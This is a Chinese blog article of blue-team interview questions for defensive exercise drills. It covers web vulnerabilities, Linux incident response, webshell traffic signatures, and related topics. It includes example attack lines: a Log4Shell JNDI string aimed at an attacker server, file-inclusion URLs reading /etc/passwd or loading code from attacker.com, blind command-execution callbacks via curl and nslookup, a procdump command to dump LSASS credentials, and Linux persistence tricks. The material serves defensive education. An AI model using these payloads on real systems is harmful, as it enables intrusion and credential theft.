马上今年hw即将来袭,蓝队兄弟们又得苦战了,这里本人参与并且跟朋友交流后整理了一些面试时的常见问题,在此整理成文,希望能帮助即将参与HW的蓝队兄弟们更好地备战,从容应对挑战,本文为周周在腾讯社区首发。
文件上传漏洞是一种常见的网络安全漏洞,它发生在Web应用程序中,允许攻击者上传恶意文件到服务器,进而可能执行恶意代码、控制服务器或造成其他安全威胁。
假设有一个社交平台,允许用户上传个人头像。该平台仅简单检查文件扩展名是否为图像格式(如.jpg、.png),但未对文件内容进行检查,也没有实施严格的访问控制策略。
exploit.jpg.php
)重命名,仅保留.jpg
扩展名,然后通过修改HTTP请求中的Content-Type头部,欺骗服务器认为这是一个图像文件。.jpg
,服务器也可能尝试按照PHP文件解析它,尤其是在文件路径被精心构造的情况下(例如,通过目录遍历漏洞访问文件)。查看当前登录用户
w
, who
, whoami
检查历史登录记录
last
, lastlog
last | grep "root"
检查root账户的登录历史,发现频繁或来自陌生IP的登录尝试。分析系统日志
cat
, less
, grep
用于查看 /var/log/auth.log
(Ubuntu/Debian)、/var/log/secure
(RHEL/CentOS)、/var/log/messages
或使用 journalctl
(对于使用systemd的系统)grep 'authentication failure' /var/log/auth.log
查找失败的认证尝试。检查系统进程
ps aux
, top
, htop
, pstree
网络连接检查
netstat -tulnp
, ss -tulnp
(对于较新的系统)netstat -an | grep LISTEN
发现有未知服务监听在3389端口,可能为远程桌面木马。检查文件系统变更
find
, diff
find /bin /usr/bin -type f -mtime -7
查找过去7天内修改过的系统二进制文件,这可能是恶意软件篡改的结果。/usr/bin/sshd
文件的修改时间最近有变动,可能意味着SSH服务被替换了。检查计划任务
crontab -l
, ls -al /etc/cron*
/etc/cron.hourly
中发现一个不明脚本,定时下载并执行未知程序。检查用户和组
cat /etc/passwd
, cat /etc/group
backupuser
,其shell路径被设定为/bin/bash
而非预期的/sbin/nologin
,表明可能被用于登录。Apache Shiro 是一个强大的 Java 安全框架,它简化了身份验证、授权、加密和会话管理等安全相关的复杂问题。Shiro 的核心在于它的三大组件,这些组件协同工作,为应用程序提供了一套全面的安全解决方案。下面详细说明每个组件的作用,并通过实际案例加以说明。
作用:
实际案例: 比如一个在线教育平台,用户登录后才能观看课程视频或参与论坛讨论。在这个场景中,Subject 就代表了登录的用户,通过 Subject 的 login()
方法进行认证,通过 isPermitted()
方法检查用户是否有观看特定课程的权限。
作用:
实际案例:比如一个在线教育平台中,管理员试图访问后台管理界面。SecurityManager 在收到 Subject 发出的访问请求后,会根据事先配置的 Realm(认证和授权的数据源)来验证管理员的身份并检查其是否拥有访问后台的权限。
作用:
实际案例: 比如一个在线教育平台为例,使用 JDBC Realm 存储用户凭证和角色权限。当用户尝试登录时,Realm 会查询数据库验证用户提供的用户名和密码是否匹配;用户访问特定资源时,Realm 再次查询数据库,判断用户角色是否拥有访问该资源的权限。
攻击DMZ(Demilitarized Zone,非军事区)区的原因主要是因为DMZ区存放着面向公众开放、可以直接从互联网访问的服务器和服务,如Web服务器、邮件服务器、FTP服务器等。这些服务由于其公开性和必要性,成为了黑客攻击的重点目标。以下是攻击DMZ区的几个主要原因:
实际案例:
通过这些案例可以看出,攻击DMZ区是黑客获取初始立足点、进一步渗透内网、窃取数据或造成服务中断的常见策略。因此,加强DMZ区的安全防护,如严格控制出入流量、定期更新与修补漏洞、实施入侵检测与防御系统、以及进行定期的安全审计,对于保护企业资产至关重要。
Log4j特征流量是指在网络数据传输中,能够标识出利用Log4j漏洞进行攻击的数据包的特定模式或特征。Log4j漏洞,特别是2021年底被披露的Log4Shell(CVE-2021-44228)漏洞,引起了广泛关注,因为它允许攻击者通过精心构造的输入数据远程执行代码。这一漏洞影响了广泛使用Apache Log4j 2.x版本的应用程序和系统。
JNDI注入Payload: Log4Shell漏洞主要通过JNDI(Java Naming and Directory Interface)注入来利用,因此特征流量中通常包含尝试利用JNDI查找机制的特殊字符串。例如,HTTP请求中可能含有以下形式的Payload:
${jndi:ldap://${attacker-controlled-server}/Exploit}
"Log4j2" "Log4jAPI/2.0"
WebLogic反序列化漏洞是Java Web应用服务器Oracle WebLogic Server中的一个安全弱点,它允许攻击者通过发送精心构造的序列化数据来远程执行代码。WebLogic历史上出现过多种反序列化漏洞,但其中两种较为著名且被广泛讨论的是:
这两种漏洞的根本原因在于WebLogic在处理外部输入时缺乏足够的安全控制,尤其是对序列化数据的验证不足,使得攻击者能够构造恶意对象,利用Java反序列化机制执行任意代码。
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,主要发生在动态网页编程中,尤其是使用PHP语言的环境中。其原理是,应用程序为了实现代码重用或动态加载不同内容,会使用文件包含功能来引入外部文件。然而,如果对用户提供的输入验证不足或过滤不当,攻击者就能通过精心构造的输入来控制被包含的文件路径,从而实现恶意目的。文件包含漏洞主要分为两类:
在本地文件包含中,攻击者利用漏洞读取服务器上的任意文件,包括但不限于配置文件(如数据库凭据、私钥等)、源代码文件等。这种攻击依赖于能够控制文件包含函数的参数,使之指向非预期的本地文件。例如,如果一个PHP脚本接受用户输入来包含一个模板文件:
Php1include($_GET['template']);
攻击者可以通过修改URL参数template
为../../../../etc/passwd
来尝试读取Linux系统中的用户密码文件:
1http://example.com/index.php?template=../../../../etc/passwd
远程文件包含允许攻击者从远程服务器加载并执行恶意代码。这要求Web服务器的配置允许通过URL包含文件,并且应用程序没有正确验证文件来源。PHP中,这通常需要allow_url_fopen
或allow_url_include
配置项开启。例如,如果一个脚本像这样包含文件:
Php1include($_GET['page']);
攻击者可以提供一个恶意的URL作为参数,导致服务器执行远程服务器上的代码:
1http://example.com/index.php?page=http://attacker.com/malicious_code.php
案例1:WordPress TimThumb插件漏洞 在2011年,WordPress中广泛使用的TimThumb图片缩放插件曝出了远程文件包含漏洞。攻击者利用此漏洞,通过精心构造的URL,使插件从恶意服务器下载并执行了PHP代码,导致大量网站被黑,植入恶意内容或被完全控制。
案例2:PHPStudy远程代码执行漏洞 2017年,PHPStudy集成环境软件曝出一处远程文件包含漏洞,攻击者可以利用该漏洞,通过包含一个远程的恶意PHP文件,从而在服务器上执行任意代码,最终达成控制服务器的目的。
这些案例显示,文件包含漏洞可以被攻击者用来窃取敏感信息、执行恶意代码、控制服务器,甚至作为进一步攻击内网的跳板。因此,开发人员在实现文件包含功能时,必须严格验证用户输入,确保只加载预期的、安全的文件,并考虑禁用或严格限制远程文件包含的功能。
Linux权限维持是指攻击者在入侵Linux系统后,为了长期保持对系统的控制权,采取的一系列措施。这些措施旨在确保即使系统管理员进行常规维护或安全检查,也能悄无声息地保留访问权限。以下是一些常见的Linux权限维持手法及其实际应用示例:
/usr/bin/ssh
,使其在执行时秘密验证特定的后门密码,同时确保原始功能不受影响,以避免引起怀疑。chattr
命令设置文件的不可更改属性(如i
属性),使得即使是以root身份也无法删除或修改特定文件,从而隐藏后门脚本。/tmp
目录下的恶意脚本执行chattr +i badscript.sh
,即使管理员检查到该文件,也难以直接删除或修改。/usr/bin/logrotate
,使其在处理日志时忽略特定时间段内的记录,掩盖攻击活动的痕迹。.ssh/authorized_keys
文件中添加自己的公钥,实现无需密码的SSH登录。Fastjson是开源的一个高性能的Java语言的JSON库,用于序列化和反序列化JSON数据。Fastjson存在的漏洞主要与它的反序列化机制有关,特别是其AutoType
特性,这一特性允许在反序列化过程中自动推断并创建对象的具体类型。以下是Fastjson漏洞的详细原理及一个实际案例说明:
@type
字段来指定反序列化的目标类型,这使得它能够根据JSON字符串中的提示自动确定要实例化的Java对象类型。此功能在提高灵活性的同时,也埋下了安全隐患。java.lang.Runtime
等可能执行命令的类。但攻击者可以通过精心构造的JSON数据,利用未被列入黑名单的类或链式反序列化技巧,绕过黑名单限制。假设存在一个中间类MiddleClass
,该类没有直接执行命令的能力,也不在Fastjson的黑名单中,但它有一个方法可以间接触发危险操作,比如调用另一个可执行命令的类的方法。攻击者构造如下的JSON数据:
Json1{
2 "@type": "com.example.MiddleClass",
3 "field": {
4 "@type": "another.vulnerable.Class",
5 // 这里可以是更多层级的嵌套,直到达到可以执行命令的类
6 }
7}
当Fastjson尝试反序列化这段JSON时,首先会实例化MiddleClass
,然后继续反序列化其成员field
,如果这一过程足够长且最终指向了可以执行命令的类,攻击者就可以通过这个链式过程实现远程代码执行。
冰蝎(Behinder)和哥斯拉(Godzilla)是两种常被用于网络攻击的WebShell工具,主要用于后渗透阶段,帮助攻击者在入侵目标系统后,实现对目标服务器的持久控制。它们各自具有一些明显的流量特征,这些特征可以被安全团队用来检测和防御这类攻击。下面详细说明它们的部分强特征:
/hackable/uploads/shell.php
,且可能携带特定参数,如pass=300
。QGluaV9zZXQo
、@ini_set
,这些都是用于执行命令或配置改变的指示符。md5前十六位+base64编码数据+md5后十六位
。assert eval
等特征字符,这些字符与动态执行代码的功能相关联。在Windows 11系统中抓取Lsass(Local Security Authority Subsystem Service)进程的内存通常是为了进行安全审计、漏洞研究或是调查潜在的安全事件。然而,直接抓取Lsass进程的内存是比较复杂的,因为Lsass是高度敏感的核心系统进程,它存储了如登录凭据和系统安全信息等敏感数据。因此,任何试图访问其内存的行为都必须谨慎处理,确保合法合规,并且最好在安全测试或故障排查的受控环境中进行。
lsass_dump.dmp
的文件。
1procdump64 -accepteula -ma lsass.exe lsass_dump.dmp
-accepteula
参数表示接受Procdump的许可协议,-ma
参数表示创建一个完整的内存转储。lsass_dump.dmp
文件。在安全研究中,分析者可能会寻找密码哈希、认证令牌或其他敏感信息,但这需要专业的知识和工具,如Mimikatz。在安全研究和渗透测试中,研究人员有时会使用上述方法来分析Lsass内存,以评估系统的安全状况,例如查找是否有可能被Pass-the-Hash攻击利用的凭证。一个常见的用途是利用Mimikatz工具从DMP文件中提取明文密码或NTLM哈希值,以便进行后续的安全测试或密码破解尝试。
命令执行无回显流量处理是指在进行命令注入攻击时,当目标系统不会直接返回命令执行结果的情况下的处理策略。这种情况下,攻击者无法直接看到命令执行的输出,因此需要采用间接方法验证命令是否执行成功以及获取执行结果。以下是一些常见的处理方式:
sleep 5
(在Linux环境下),这样如果页面加载或响应时间明显增加,则可以推断命令已被执行。例如,通过注入 1=ping -c 1 example.com & sleep 5
判断是否成功执行了ping命令。curl http://attacker.com/log
,攻击者在自己的服务器上记录访问日志,以此验证命令执行并收集可能的输出信息。nslookup attacker-controlled-domain.com
或 dig attacker-controlled-domain.com
。攻击者可以通过监控DNS日志来判断命令是否被执行,以及通过子域名请求来传递数据。echo "COMMAND_EXECUTED" > /tmp/output.txt
,之后通过其他漏洞或功能读取该文件内容。nc
) 或类似的工具,在目标系统上监听特定端口,然后从外部向该端口发送数据或命令,通过监听端口的响应判断命令执行情况。例如,先在目标系统执行 nc -lvp 8888 > output.txt
,然后从攻击机向该端口发送数据。实际案例: 在DVWA(Damn Vulnerable Web Application)的高难度命令执行场景中,用户可以通过注入命令无回显的方式,利用DNS请求法验证命令执行。攻击者首先注册一个支持DNS日志记录的域名(如使用Ceye.IO服务),然后通过注入命令如 nslookup subdomain.ceye.io
,在Ceye.IO的DNS日志中观察到请求记录,以此证明命令已成功执行,并且可以通过子域名的变化传递数据。
Apache Shiro 是一个流行的Java安全框架,它用于处理身份验证、授权、会话管理和加密等功能。在流量分析的上下文中,Shiro的特定行为和配置可能会影响网络通信的特征,特别是当涉及到其“记住我”(Remember Me)功能时,这往往成为安全研究人员关注的焦点。以下是Shiro流量的一些特征:
rememberMe
的Cookie。该Cookie值经过加密处理,通常使用AES加密并进行Base64编码。在流量分析中,可以看到HTTP请求头中包含这个加密后的Cookie值。例如,流量捕获工具中可能会显示类似 rememberMe=AQIC...
的Cookie。rememberMe=1
)并观察服务器的响应来判断。如果应用返回了Set-Cookie头部,表明应用使用了Shiro,并且可能尝试进一步探索是否存在已知漏洞。实际案例佐证:
EDR,即Endpoint Detection and Response(端点检测与响应),是一种专注于端点安全的技术解决方案,主要设计用于增强企业的网络安全态势。它通过实时监控和分析端点(如桌面电脑、笔记本、服务器、移动设备等)上的活动,主动识别并响应潜在的威胁。与传统的防病毒软件相比,EDR提供了更深层次的防护,侧重于检测未知威胁、高级持续性威胁(APT)及内部威胁,并快速响应以减轻损害。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。